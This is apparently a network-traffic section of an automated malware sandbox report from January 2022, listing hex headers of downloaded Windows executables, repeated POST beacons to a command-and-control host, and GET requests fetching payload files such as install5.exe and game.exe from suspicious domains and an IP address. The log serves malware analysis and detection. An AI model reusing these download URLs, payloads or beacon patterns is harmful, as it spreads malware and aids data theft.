Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:28 GMTContent-Type: application/octet-streamContent-Length: 535232Last-Modified: Thu, 13 Jan 2022 19:32:17 GMTConnection: keep-aliveETag: "61e07e41-82ac0"Expires: Thu, 20 Jan 2022 19:51:28 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 73 0f cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 00 00 00 0a 04 00 00 00 00 00 00 a0 04 00 00 20 00 00 00 60 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 be bf 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e4 01 00 00 00 90 00 00 ac 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 6c 73 00 00 00 00 00 70 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 43 52 54 00 00 00 00 00 10 00 00 00 80 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ac 08 04 00 00 90 00 00 ac 08 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 80 01 00 00 a0 04 00 11 7d 01 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:30 GMTContent-Type: application/x-msdos-programContent-Length: 3558912Connection: closeLast-Modified: Thu, 13 Jan 2022 13:24:12 GMTETag: "364e00-5d5769a25b4d1"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 ef 4f df 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 24 02 00 00 c8 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 53 00 00 04 00 00 86 47 36 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c fc 4e 00 20 01 00 00 00 40 4d 00 1d a2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 20 02 00 00 10 00 00 00 12 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 30 02 00 00 08 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 26 e9 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 f8 1c 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 7e 11 18 00 00 50 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 d0 31 00 00 70 1b 00 00 dc 2e 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 01 00 00 40 4d 00 00 a4 01 00 00 fa 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 4d 59 42 46 42 5a 6a 00 b0 04 00 00 f0 4e 00 00 b0 04 00 00 9e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 a0 53 00 00 00 00 00 00 4e 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 13 Jan 2022 19:51:33 GMTContent-Type: application/octet-streamContent-Length: 2416280Last-Modified: Thu, 13 Jan 2022 19:32:37 GMTConnection: keep-aliveETag: "61e07e55-24de98"Expires: Thu, 20 Jan 2022 19:51:33 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 ca 5e 3d 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 64 3f 00 00 6e 04 00 00 00 00 00 00 30 44 00 00 20 00 00 00 a0 3f 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 45 00 00 04 00 00 86 bb 25 00 02 00 60 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 3f 00 d4 01 00 00 00 c0 3f 00 a0 6c 04 00 00 00 00 00 00 00 00 00 d0 c5 24 00 c8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 65 64 61 74 61 00 00 00 a0 3f 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 62 73 73 00 00 00 00 00 10 00 00 00 b0 3f 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 6c 04 00 00 c0 3f 00 09 6b 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 63 74 6f 72 73 00 00 00 80 01 00 00 30 44 00 0b 7d 01 00 00 72 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:40 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:44 GMTContent-Type: application/x-msdos-programContent-Length: 3557888Connection: closeLast-Modified: Thu, 13 Jan 2022 16:32:48 GMTETag: "364a00-5d5793c99f7d7"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 ef 4f df 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 1d 00 24 02 00 00 bc 02 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 54 00 00 04 00 00 0b 7b 36 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 4c 4f 00 20 01 00 00 00 a0 4d 00 1d 96 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 20 02 00 00 10 00 00 00 12 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 30 02 00 00 08 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 26 e9 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 f8 1c 00 00 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 f0 31 18 00 00 50 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 32 00 00 90 1b 00 00 e4 2e 00 00 1e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 a0 01 00 00 a0 4d 00 00 98 01 00 00 02 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 6f 76 57 36 62 46 54 00 b0 04 00 00 40 4f 00 00 b0 04 00 00 9a 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 61 64 61 74 61 00 00 00 10 00 00 00 f0 53 00 00 00 00 00 00 4a 36 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49846 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hudnwo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imfaq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjxcvqdtu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fbpbiuf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ubqgnsref.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dencntiwom.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 186Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://facsdjlrhe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nbopqwwil.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bksuhny.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ncekou.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlrqq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mkylelnvhx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 220Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uasbnlg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://djtirwiie.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ruexdakex.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 290Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://obxaeg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 124Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ocenwxcoy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cbnhk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qqkskcahhd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crthr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kjtyikafjr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gcluxyujw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bsyjr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uvbrfosd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://phljuvuic.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mtege.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: host-data-coin-11.com
